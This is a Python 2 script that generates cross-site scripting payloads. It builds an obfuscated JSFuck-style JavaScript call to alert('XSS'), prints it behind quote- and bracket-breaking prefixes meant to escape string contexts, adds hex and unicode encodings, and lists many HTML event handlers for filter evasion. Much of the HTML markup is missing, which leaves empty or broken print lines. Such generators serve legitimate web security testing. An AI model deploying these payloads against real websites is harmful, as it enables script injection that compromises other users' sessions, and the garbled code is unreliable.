#!/usr/bin/python import os def gen_js(): rand = os.urandom(4).encode('hex') return ''' _=(![]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+[]]+({}+[])[!+[]+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]; __='{rand}constructor'[_](!+[]+!![]+!![]+!![]+!+[]+!![]+!![]+!![]); ___='{rand}alert'[_](!+[]+!![]+!![]+!![]+!+[]+!![]+!![]+!![]); ____='{rand}XSS'[_](!+[]+!![]+!![]+!![]+!+[]+!![]+!![]+!![]); [][__][__](___+'(\\''+____+'\\')')(); '''.replace('\n', '').replace('{rand}', rand) print '";' + gen_js() + '//' print '\\";' + gen_js() + '//' print '\');' + gen_js() + '//' print '")}' + gen_js() + '//' js = ''.strip() print ''.join('\\x%02x' % ord(c) for c in js) print ''.join('\\u00%02x' % ord(c) for c in js) print 'oncontextmenu' #print 'ondragstart' print 'ondragend' print 'ondrag' print '' print '' print 'mouseoverme' print 'blurme' print '' print 'onmouseup' print '' print '
mousemedown
' print '
' print '
onmousemove
' print 'onmouseenter' print 'onmouseleave' print '

ondblclick

' print '

onfocusout

' print '

onfocus

' print '

onclick

' print '' print '
oncopy
' print 'onmousewheel' print '
onscroll
onscroll
onscroll
onscroll
onscroll
onscroll
onscroll
onscroll
onscroll
onscroll
onscroll
' #print '' print ''